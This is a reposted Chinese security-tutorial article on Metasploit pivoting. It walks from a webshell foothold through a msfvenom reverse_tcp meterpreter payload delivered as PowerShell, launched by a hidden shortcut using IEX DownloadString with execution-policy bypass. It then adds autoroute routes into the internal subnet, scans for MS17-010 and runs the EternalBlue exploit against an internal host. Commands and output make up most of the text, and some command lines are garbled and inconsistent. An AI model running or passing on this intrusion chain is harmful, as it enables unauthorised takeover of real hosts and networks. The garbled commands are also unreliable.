Quantcast
Channel: CodeSection,代码区,网络安全 - CodeSec
Viewing all articles
Browse latest Browse all 12749

【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透

$
0
0
【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透

2017-07-28 11:16:13

阅读:789次
点赞(0)
收藏
来源: 安全客





【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透

作者:myles007





【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透

作者:myles007

预估稿费:300RMB

投稿方式:发送邮件至linwei#360.cn,或登陆网页版在线投稿


一、利用过程

1.1 利用背景

我们在渗透的过程中常常会遇到这种场景:我们已经通过web渗透拿下一台内网服务器,为了进一步进行内网渗透,我们会利用“沦陷主机”作为跳板进行进一步的内网渗透,而内网渗透的思路和方法可能很多,但是使用起来并不是很方便,可能会需要很庞大的工具箱的支持,具体内容这里不做展开说明。

我们现在假设的场景是,此时我们已经拿下一台内网服务器的远程桌面环境,在进行内网渗透时,发现内网有大量存MS17-010的漏洞主机,如果我们想拿下这些主机,可能就要动用NSA工具箱,但是此工具箱的使用相当的麻烦,此时我们第一时间想起的一定是神器Metasploit,其是进行内网渗透的一把利器,且使用方便,但是我们同样不能将这么大的一个框架部署到“沦陷的主机”上吧。那么问题来了,我们有没有好的办法直接使用我们外网已经搭建好的MSF框架呢?这里提供大家一个思路,我们是不是可以利用“沦陷主机”作为跳板,来实现使用MSF框架直接对内网主机的直接渗透呢?答案是当然的,MSF框架为我们提供了一个很好功能跳板版能模块,此模块可以为我们添加一条转发路由去往内网,具体内容会在下面的文档中为大家揭晓。

1.2 利用场景拓扑


【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透

1.3 利用场景思路

本篇文档,我们使用的方法和思路,就是结合powershell ps1 攻击载荷来在“沦陷主机”上直接反弹回一个session会话,然后利用此session会话作为MSF访问内网的跳板(即路由的下一跳(nexthop)网关),从而来实现MSF直接对内网主机资源的直接访问。

利用条件:

(1)已经拿下的webshell 的 windows服务器;

(2)powershell ps1会话反弹

(3)MSF跳板路由添加


二、利用过程分析

2.1 生成powershell反弹

如果想要利用MSF攻击平台直接对内网其他主机进行渗透攻击,那么我们的MSF平台需要要有去往“目标内网的路由”,但是我们知道“目标内网服务器”除了对外服务的服务器我们可以直接访问,其实内网其他主机都是私有IP,无法由互联网直接访问的,这时我就需要在MSF平台添加一条路由去往内网,而MSF平台就有这个“路由转发的功能”,而且这一去往内网路由的下一跳就是建立在MSF平台与“目标主机”之间session会话上的。所以,我们在使用MSF路由转发功能时,首先就是要先建立一个“MSF平台”与“目标主机”的session会话。

因为笔者前面已经说过直接产生dll 反弹shell的方法,这里就在学习与记录下反弹powershell ps1的shell反弹过程。

2.1.1 使用MSF生成一个反弹的 ps1的shell

反弹shell生成语句如下:

msfvenom-pwindows/x64/meterpreter/reverse_tcplhost=192.168.1.123lport=12345-fpsh-reflection>/tmp/search.ps1

注:可能会有小伙伴会问,为什么不直接使用MSF生产一个反弹shell就好了,说的没错直接使用MSF生产一个反弹shell也是可以的,只是可能如果服务器上有相关的杀软的话,可能就会被干掉,我这里直接使用这一刚刚暴露出的漏洞其有很好的过杀软的作用,且其可用利用系统访问范围几乎是全覆盖的,同时本人是想把此漏洞的实战利用价值和思维也带给大家。

2.1.2 上传search.ps1到目标主机

生成完ps1 shell后,想办法将search.ps1上传到目标服务器,为下一步漏洞的触发调用做好准备,这里笔者就直上传了到服务器桌面。

注:可能有很多小伙伴看过网上的教程,对此有些疑问,网上给出的使用方法,一般是将这shell脚本通过web服务发布到网上,然后利用用户点击快捷方式的时候触发shell下载,然后执行shell获取一个shell反弹。

我这里的实际环境是,我们已经获取了目标站点的shell,可以直接上传这个shell,然后让然漏洞利用直接在本地执行,无需再去网络上下载。

2.1.3 本地生成一个powershell 本地快捷方式

首先,输入快捷方式调用的对象位置,具体的powershell 本地调用方式的语句如下:

powershell-windowstylehidden-execbypass-c"IEX(New-ObjectNet.WebClient).DownloadString('C:\Users\Myles\Desktop\shell.ps1');test.ps1"

随后,我将这个powershell快捷方式命名为poweshell.exe。

2.1.4 开启MSF本地监听

在LNK漏洞环境都准备完毕后,接下就是开启远端的监听了,等待漏洞触发反弹出一个shell出来,具体MSF开启端口监听的命令如下。

useexploit/multi/handler setpayloadwindows/x64/meterpreter/reverse_tcp showoptions setLHOST192.168.1.123 setlport12345 exploit

2.1.5 主动触发漏洞获取反弹shell

MSF监听已经开了,反弹shell也已经上传,现在我们只要主动触发shell反弹即可。即,我们只要双击桌面快捷方式,即可反弹出一个shell到远端的MSF监听,我很快就可以看到MSF的会话监听已经打开,shell已经反弹成功,成功获取一个MSF与目标主机的session会话。

再次解惑:

可能前面我们做了这么多工作,还是有小伙伴并不清楚我们要做什么,可能还回吐槽说我们都已经获取目标主机的控制权限了,还要创建个MSF的session会有啥意义呢?

其实我们回到文档的开头,回到标题我们可能就会知道我们为什么要获取一个“目标主机与MSF的session会话”了,我创建这个session就是为了能使用MSF这个框架对内网的其他主机做进一步的渗透了,有个这个session,我们的外网MSF攻击平台就能利用这个session帮助我们与内网主机的通信提供数据路由转发,下面一个节会详细给大家介绍有关MSF路由添加功能的实现。

2.2 MSF跳板功能

2.2.1 基本概念

MSF的跳板功能,其实是MSF框架中自带的一个路由转发功能,其实现过程就是MSF框架在已经获取的meterpreter shell的基础上添加一条去往“内网”的路由,此路由的下一跳转发,即网关是MSF攻击平台与被攻击目标建立的一个session会话,具体理解大家可以看见前面的1.2章节的拓扑图。

通过msf添加路由功能,可以直接使用msf去访问原本不能直接访问的内网资源,只要路由可达了那么我们使用msf的强大功能,想干什么就干什么了。

2.2.2 msf 跳板实现过程

2.2.2.1 基本过程

(1)需要有一个已经获取的meterpreter 会话;

(2)获取内网地址网段

(3)在MSF平台上添加去往“内网网段”的路由

2.2.2.2 实现过程

(1) 已经获取一个meterpreter shell

第1个条件,是我们要想办法获取一个MSF攻击平台与目标主机的shell会话(meterpreter),然后利用此会话。具体获取meterpreter会话的方法很多,本演示案列中是以powershell ps1 反弹一个会话为演示,具体内容请见后面复现过程。

MSF 路由添加帮助查询命令如下:

meterpreter>runautoroute-h [!]Meterpreterscriptsaredeprecated.Trypost/multi/manage/autoroute. [!]Example:runpost/multi/manage/autorouteOPTION=value[...] [*]Usage:runautoroute[-r]-ssubnet-nnetmask [*]Examples: [*]runautoroute-s10.1.1.0-n255.255.255.0#Addarouteto10.10.10.1/255.255.255.0 [*]runautoroute-s10.10.10.1#Netmaskdefaultsto255.255.255.0 [*]runautoroute-s10.10.10.1/24#CIDRnotationisalsookay [*]runautoroute-p#Printactiveroutingtable [*]runautoroute-d-s10.10.10.1#Deletesthe10.10.10.1/255.255.255.0route [*]Usethe"route"and"ipconfig"Meterpretercommandstolearnaboutavailableroutes [-]Deprecationwarning:Thisscripthasbeenreplacedbythepost/multi/manage/autoroutemodule

(2)获取目标内网地址段

具体获取被攻击目标内网地址网段的命令如下所示:

meterpreter>runget_local_subnets [!]Meterpreterscriptsaredeprecated.Trypost/multi/manage/autoroute. [!]Example:runpost/multi/manage/autorouteOPTION=value[...] Localsubnet:172.17.0.0/255.255.0.0

由上可以获知,目标内网网段是“172.17.0.0./24”

(3)添加去往目标网段的转发路由

在meterpreter 会话上直接添加去往目标网段的路由,具体添加方法如下所示。

meterpreter>runautoroute-s172.17.0.0/24 [!]Meterpreterscriptsaredeprecated.Trypost/multi/manage/autoroute. [!]Example:runpost/multi/manage/autorouteOPTION=value[...] [*]Addingarouteto172.17.0.0/255.255.255.0... [+]Addedrouteto172.17.0.0/255.255.255.0via10.48.8.234 [*]Usethe-poptiontolistallactiveroutes 添加网路由后,我们来查看下路由的添加情况如何,具体命令如下所示: meterpreter>runautoroute-p [!]Meterpreterscriptsaredeprecated.Trypost/multi/manage/autoroute. [!]Example:runpost/multi/manage/autorouteOPTION=value[...] ActiveRoutingTable ==================== SubnetNetmaskGateway -------------------- 172.17.0.0255.255.255.0Session3

注:由以上内容,我们可以看到出添加了一条路由:

目标:172.17.0.0 掩码:255.255.25.0 下一跳网关:Session 3

这里的 Session 3,即当前被攻击目标主机与MSF平台建立的meterperter会话。

OK, MSF平台有了去往内网网段的路由,我们就可以直接使用MSF平台对内网的主机进行进一步的渗透利用了。


三、案列场景复现

3.0 复现场景拓扑

(1)MSF平台:192.168.10.109

(2)目标主机:10.48.8.234

(3)目标网段:10.48.8.0/24

具体复现的场景,就是1.2章节网络环境拓扑。


【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透

3.1 打开MSF本地监听

为了接受目标主机反弹回来的meterperter shell,我们需要首先打开一个MSF本地监听端口,等待会话的反弹,具体操作过程如下。

msfconsole useexploit/multi/handler setpayloadandroid/meterpreter/reverse_tcp setlhost192.168.10.109 setlport12345 exploit
【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透

3.2 使用powershell ps1 获取一个meterpreter

3.2.1 生成 powershell ps1攻击载荷

此时我们已经获取了目标主机的windows控制权限,接下来我们直接使用MSF生成一个ps1反弹shell;

msfvenom-pwindows/x64/meterpreter/reverse_tcplhost=192.168.100.109lport=12345-fpsh-reflection>/tmp/search.ps1
【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透

3.2.2 上传反弹shell到目标主机

在生成反弹shell后,我们就是直接上传search.ps1 攻击载荷到目标主机。


【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透

3.2.3 触发 powershell 反弹shell

利用上传的search.ps1 攻击payload,在目标主机上生成一个powershell 本地快捷方式,然后点击快捷方式触发powershell ps1利用,反弹一个shell会话到MSF平台。有关poershell ps1 快捷方式的语句如下所示(具体详细使用情况可参见章节:2.1.3)。

powershell-windowstylehidden-execbypass-c"IEX(New-ObjectNet.WebClient).DownloadString('C:\Users\Myles\Desktop\shell.ps1');test.ps1"
【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透

注:直接复制上面的语句到创建快捷方式的“请键入对象的位置”即可,但是各位自操作时,请注意serach.ps1的物理位置,不要搞错。

3.3 获取内网网段信息

在MSF平台监听端,我们获取反弹的shell后(即session),我们可以直接在meterpreter控制终端进行目标网段信息的查询,具体查询命令如下。

meterpreter>runget_local_subnets [!]Meterpreterscriptsaredeprecated.Trypost/multi/manage/autoroute. [!]Example:runpost/multi/manage/autorouteOPTION=value[...] Localsubnet:10.48.8.0/255.255.255.0 Localsubnet:169.254.0.0/255.255.0.0 meterpreter>
【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透

通过内网本地路由查询,可以获悉内网网段地址为:10.48.8.0/24

3.4 添加目标网段路由

我们在获知目标内网网段路由为10.48.8.0/24后,接下来就是添加去往目标内网网段(10.48.8.0/24)的静态路由,添加路由的具体命令执行如下。

meterpreter>runautoroute-s10.48.8.0/24 [!]Meterpreterscriptsaredeprecated.Trypost/multi/manage/autoroute. [!]Example:runpost/multi/manage/autorouteOPTION=value[...] [*]Addingarouteto10.48.8.0/255.255.255.0... [+]Addedrouteto10.48.8.0/255.255.255.0via10.48.8.234 [*]Usethe-poptiontolistallactiveroutes meterpreter>
【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透
3.5 内网主机渗透

我们将去往内网的路由打通后,接下来就可以使用MSF平台直接对内网主机扫描和进行各种高危漏洞的直接渗透利用了。

3.5.1 退到后台

首先我们需要退到MSF攻击平台的操作面,为后面调用其他攻击模块做好准备,具体操作如下。

meterpreter>background [*]Backgroundingsession2... msfexploit(handler)>sessions-i Activesessions =============== IdTypeInformationConnection --------------------------- 2meterpreterx64/windowsadmin-PC\admin@ADMIN-PC192.168.10.109:12345->10.48.8.234:53462(10.48.8.234)
【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透
3.5.2 漏洞主机发现

通过目标主机,我们可以直接使用MSF下的扫描模块进行主机发现与扫描,这里我们直接使用最近流行的“永恒之蓝”漏洞扫描模块进行网络主机漏洞扫描。

useauxiliary/scanner/smb/smb_ms17_010 showoptions setrhosts10.48.8.0/24 setthreads50 run
【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透

通过主机漏洞扫描,我们发现10.48.8.236主机存在一个MS17-010漏洞。

3.5.3 调用攻击载荷

通过目标主机我们扫描发现内网有台主机存在MS17-010漏洞(10.48.8.236),我们现在直接使用使用MSF平台调通“永恒之蓝”漏洞攻击载荷,进行攻击获取主机控制权限,操作过程如下。

msfexploit(handler)>useexploit/windows/smb/ms17_010_eternalblue msfexploit(ms17_010_eternalblue)>setrhost10.48.8.236 rhost=>10.48.8.236 msfexploit(ms17_010_eternalblue)>exploit
【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透

【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透

自此我们使用 "MSF 的跳转路由转发",直接使用外网的MSF平台实现对内网私有主机的攻击演示结束,好了打完收工,各位看客有钱的捧个钱场,没钱的捧个人场,开个玩笑。

注:以上内容仅为个人学习所用,请勿用于非法攻击。


学习参考

http://www.metasploit.cn/thread-1644-1-1.html

http://www.91ri.org/9560.html



【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透
【技术分享】使用 MSF 路由转发实现MSF框架的内网渗透
本文由 安全客 原创发布,如需转载请注明来源及本文地址。
本文地址:http://bobao.360.cn/learning/detail/4164.html

Viewing all articles
Browse latest Browse all 12749

Trending Articles